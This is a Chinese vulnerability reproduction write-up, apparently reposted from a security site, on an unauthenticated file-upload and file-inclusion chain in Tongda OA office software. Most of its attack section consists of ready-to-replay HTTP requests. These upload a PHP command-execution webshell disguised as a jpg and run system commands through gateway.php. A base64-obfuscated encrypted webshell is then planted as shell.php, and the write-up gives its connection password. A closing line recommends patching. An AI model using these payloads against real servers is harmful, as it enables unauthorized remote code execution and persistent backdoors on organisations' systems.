一、漏洞介绍
通达OA介绍:
通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,北京通达信科科技有限公司是一支以协同管理软件研发与实施、服务与咨询为主营业务的高科技团队,是国内协同管理软件行业里唯一一家央企单位,中国协同管理软件的领军企业。
通达OA为各行业不同规模的众多用户提供信息化管理能力,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等,帮助广大用户降低沟通和管理成本,提升生产和决策效率。该系统采用领先的B/S(浏览器/服务器)操作方式,使得网络办公不受地域限。通达Office Anywhere采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。数据存取集中控制,避免了数据泄漏的可能。提供数据备份工具,保护系统数据安全。多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。
漏洞影响的版本有:
V11版、2017版、2016版、2015版、2013增强版、2013版。
备注:
无需登录,前台即可实现漏洞利用
2013版:
文件上传漏洞路径:/ispirit/im/upload.php
文件包含漏洞路径:/ispirit/interface/gateway.php
2017版:
文件上传漏洞路径:/ispirit/im/upload.php
文件包含漏洞路径:/mac/gateway.php
漏洞环境:
靶机(Windows server 2008 R2)IP:172.16.0.45
通达OA:V 11.3版本
二、环境搭建
(1)下载通达OA V11.3版本以后,点击运行TDOA11.3的应用程序运行文件
(2)确保80端口不被占用的情况下,将应用搭建在80端口,然后点击下一步
(3)配置完成
(4)查看搭建的结果
(5)账户为admin,密码为空,登陆到后端系统
三、漏洞复现
3.1 任意命令执行
(1)前台任意文件上传漏洞:无需登录,抓取任意数据包,修改数据包进行重放,上传后缀为jpg的木马文件
POST /ispirit/im/upload.php HTTP/1.1
Host: 172.16.0.45
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 660
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
(2)查看运行结果
(3)前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,即可实现执行任意命令
此处执行命令“net user”
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 172.16.0.45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=net user
(4)前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,即可实现执行任意命令
此处执行命令“ipconfig”
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 172.16.0.45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
json={"url":"/general/../../attach/im/2012/820434636.jpg"}&cmd=ipconfig
3.2 getshell
(1)前台任意文件上传漏洞:抓取任意数据包,修改数据包进行重放,上传后缀为jpg的木马文件(木马文件执行写入文件操作)
POST /ispirit/im/upload.php HTTP/1.1
Host: 172.16.0.45
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
Content-Length: 1393
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$fp = fopen('shell.php', 'w');
$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC
4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
fwrite($fp, $a);
fclose($fp);
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
(2)查看运行结果
(3)查看/webroot/ispirit/interface/目录下的文件信息
(4)前台文件包含漏洞:修改数据包,包含前面上传的jpg木马文件,会在文件包含的根目录下生成一个 shell.php 文件
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 172.16.0.45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
json={"url":"/general/../../attach/im/2012/213131861.jpg"}&cmd=ipconfig
(5)查看文件包含漏洞的执行结果
(6)使用冰蝎进行连接:http://172.16.0.45/ispirit/interface/shell.php
密码为:pass
PS:此处用蚁剑和菜刀无法进行连接
四、加固建议
建议使用受影响版本的通达OA用户登录通达OA官网,获取最新补丁。请根据当前OA版本选择所对应的程序文件,运行前请先做好备份。
来源:freebuf.com 2020-12-09 09:41:09 by: 龙渊实验室LongYuanLab
请登录后发表评论
注册